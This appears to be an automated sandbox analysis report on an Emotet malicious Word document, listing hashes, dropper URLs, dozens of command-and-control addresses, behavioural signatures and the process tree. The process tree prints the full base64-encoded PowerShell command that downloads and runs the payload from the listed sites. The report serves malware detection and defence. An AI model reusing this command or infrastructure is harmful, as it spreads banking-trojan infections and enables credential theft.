emotet | 3e203903e5cdf3d17235cef242ea85595d43db52734aafd935a4ae3e15d812b7

Analysis

max time kernel
136s
max time network
151s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 15:56

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General

Target
emotet_e3_3e203903e5cdf3d17235cef242ea85595d43db52734aafd935a4ae3e15d812b7_2020-08-19__155505._doc.doc
Size 199KB
Sample200819-jyleqa91q2
SHA256 3e203903e5cdf3d17235cef242ea85595d43db52734aafd935a4ae3e15d812b7
MD5 8612df5a958f7b8d1bbef4404cf0f857
SHA1 686517943dc9337b62e35c883eebacde8ef51a43
SHA512 3f9410ab0855375dbe9e605c0b353aa51282fa66080b28d7cedf1d91c657685a2a3dce6882738a17e8100aaa96684861b2f53fd2c059e4981010dcf2aedde24a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://givingthanksdaily.com/cgi-bin/UUZ/
exe.dropper
http://taliedaran.ir/wp-admin/xoflMkAX/
exe.dropper
https://ceramicaburguina.com.br/Backup_Sistemas/VJFrtw/
exe.dropper
http://bercpro.be/cgi-bin/TMFfK/
exe.dropper
https://www.iqos-heets.com/wp-content/uploads/kOgjl/
exe.dropper
https://technilab.nl/wp-content/zSv/
exe.dropper
https://andmak.pl/strona/DczUjFV/

Extracted

Family

emotet

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	3608	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1428-15-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/1428-15-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/1868-18-0x0000000000940000-0x000000000094C000-memory.dmp	emotet
behavioral2/memory/1868-18-0x0000000000940000-0x000000000094C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
16	2056	powersheLL.exe
19	2056	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1428	Us6tez.exe
1868	Windows.Devices.SerialCommunication.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDPASH\Windows.Devices.SerialCommunication.exe	Us6tez.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2600	WINWORD.EXE
2600	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2056	powersheLL.exe
2056	powersheLL.exe
2056	powersheLL.exe
1868	Windows.Devices.SerialCommunication.exe
1868	Windows.Devices.SerialCommunication.exe
1868	Windows.Devices.SerialCommunication.exe
1868	Windows.Devices.SerialCommunication.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
1428	Us6tez.exe
1428	Us6tez.exe
1868	Windows.Devices.SerialCommunication.exe
1868	Windows.Devices.SerialCommunication.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 1428	2056	powersheLL.exe	75
PID 2056 wrote to memory of 1428	2056	powersheLL.exe	75
PID 2056 wrote to memory of 1428	2056	powersheLL.exe	75
PID 1428 wrote to memory of 1868	1428	Us6tez.exe	77
PID 1428 wrote to memory of 1868	1428	Us6tez.exe	77
PID 1428 wrote to memory of 1868	1428	Us6tez.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_3e203903e5cdf3d17235cef242ea85595d43db52734aafd935a4ae3e15d812b7_2020-08-19__155505._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2600

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAF8AMQBsAHcAOABmAD0AKAAnAEkANQAwACcAKwAnADgANAAnACsAJwBwADAAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwAbwBmAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAdQByAEkAVABZAFAAYABSAG8AYABUAG8AYwBgAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIAJwArACcALAAgAHQAbABzADEAMQAnACsAJwAsACAAdABsACcAKwAnAHMAJwApADsAJABUAHUAMAA0AGgAeABpACAAPQAgACgAJwBVAHMAJwArACcANgB0AGUAegAnACkAOwAkAEoAbgA2AGsAMwBpAHMAPQAoACcAQwB2ACcAKwAnADkAbAAnACsAJwAxAHMAdAAnACkAOwAkAEMAcgA1AGoAdQBnAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAFoAbgBnAE8AZgBmAGkAYwAnACsAJwBlADIAMAAnACsAJwAxADkAWgBuAGcAJwApACAALQBjAFIARQBQAGwAYQBjAEUAJwBaAG4AZwAnACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFQAdQAwADQAaAB4AGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEUAbQB3ADkAMgBoAG0APQAoACcASQB3ADQAJwArACcAYQB6ADMAegAnACkAOwAkAEoAdwA3ADkAYQA5ADkAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBMAGkARQBOAHQAOwAkAE4AdwA4AGIAbABnAGwAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnAGkAdgBpAG4AZwB0ACcAKwAnAGgAJwArACcAYQBuAGsAcwBkAGEAaQAnACsAJwBsAHkALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgBpAG4AJwArACcALwAnACsAJwBVAFUAWgAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwB0AGEAbABpACcAKwAnAGUAZABhAHIAYQAnACsAJwBuAC4AaQByAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AeAAnACsAJwBvAGYAbABNAGsAQQBYACcAKwAnAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AJwArACcAYwBlAHIAYQBtAGkAYwBhACcAKwAnAGIAdQByAGcAdQAnACsAJwBpAG4AYQAuACcAKwAnAGMAbwBtACcAKwAnAC4AYgByACcAKwAnAC8AQgBhACcAKwAnAGMAawB1AHAAXwBTAGkAJwArACcAcwB0ACcAKwAnAGUAJwArACcAbQBhACcAKwAnAHMAJwArACcALwAnACsAJwBWAEoARgByAHQAdwAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKwAnAC8ALwBiACcAKwAnAGUAcgBjAHAAcgBvAC4AJwArACcAYgAnACsAJwBlAC8AYwBnACcAKwAnAGkALQAnACsAJwBiAGkAbgAvAFQATQAnACsAJwBGACcAKwAnAGYASwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAHcAdwB3AC4AaQBxACcAKwAnAG8AcwAtAGgAJwArACcAZQBlAHQAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AJwArACcAdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBrAE8AJwArACcAZwBqAGwALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGUAYwBoAG4AaQBsAGEAJwArACcAYgAuAG4AbAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFMAdgAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAGEAbgAnACsAJwBkAG0AJwArACcAYQBrAC4AcABsACcAKwAnAC8AcwAnACsAJwB0AHIAbwBuAGEALwBEAGMAJwArACcAegBVAGoARgBWAC8AJwApAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAXwBuADkAMwB3AG8APQAoACcAVQAnACsAJwBiACcAKwAnADcAbQA3AGUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTADQAeQBiAHoAaQA1ACAAaQBuACAAJABOAHcAOABiAGwAZwBsACkAewB0AHIAeQB7ACQASgB3ADcAOQBhADkAOQAuACIAZABvAFcAbgBMAGAAbwBBAGQAZgBgAGkAbABFACIAKAAkAFMANAB5AGIAegBpADUALAAgACQAQwByADUAagB1AGcAaQApADsAJABHADMAegBoAHMAMgBqAD0AKAAnAEIAdgAwAGcAcQAnACsAJwBzAGQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAEMAcgA1AGoAdQBnAGkAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAyADYAMQA3ADYAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAQwByADUAagB1AGcAaQApADsAJABIAGoAMQBmAHYAXwB1AD0AKAAnAFEAZQAxAG0AYQAnACsAJwBuAGgAJwApADsAYgByAGUAYQBrADsAJABEADMAOQBkAHMAZgBsAD0AKAAnAEYANwAnACsAJwBnAHkAaQB0ACcAKwAnAGwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEAdgA2AHQAcwB5AD0AKAAnAEQAagA2AHcAJwArACcAdQA0ACcAKwAnAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\SysWOW64\KBDPASH\Windows.Devices.SerialCommunication.exe
    "C:\Windows\SysWOW64\KBDPASH\Windows.Devices.SerialCommunication.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1428-15-0x0000000002230000-0x000000000223C000-memory.dmp

Download

memory/1868-18-0x0000000000940000-0x000000000094C000-memory.dmp

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memory/2056-10-0x00000179F3A40000-0x00000179F3A41000-memory.dmp

Download

memory/2056-11-0x00000179F3AF0000-0x00000179F3AF1000-memory.dmp

Download

memory/2056-9-0x00007FF920A30000-0x00007FF92141C000-memory.dmp

Download

memory/2600-4-0x0000023744AB4000-0x0000023744AC5000-memory.dmp

Download

memory/2600-8-0x0000023744C4D000-0x0000023744C53000-memory.dmp

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memory/2600-7-0x0000023744C53000-0x0000023744C5F000-memory.dmp

Download

memory/2600-6-0x0000023744C53000-0x0000023744C5F000-memory.dmp

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memory/2600-5-0x0000023744C53000-0x0000023744C5F000-memory.dmp

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memory/2600-0-0x00007FF928CB0000-0x00007FF929376000-memory.dmp

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memory/2600-3-0x0000023744AB4000-0x0000023744AC5000-memory.dmp

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memory/2600-2-0x0000023744AB4000-0x0000023744AC5000-memory.dmp

Download

memory/2600-1-0x0000023744AB1000-0x0000023744AB4000-memory.dmp

Download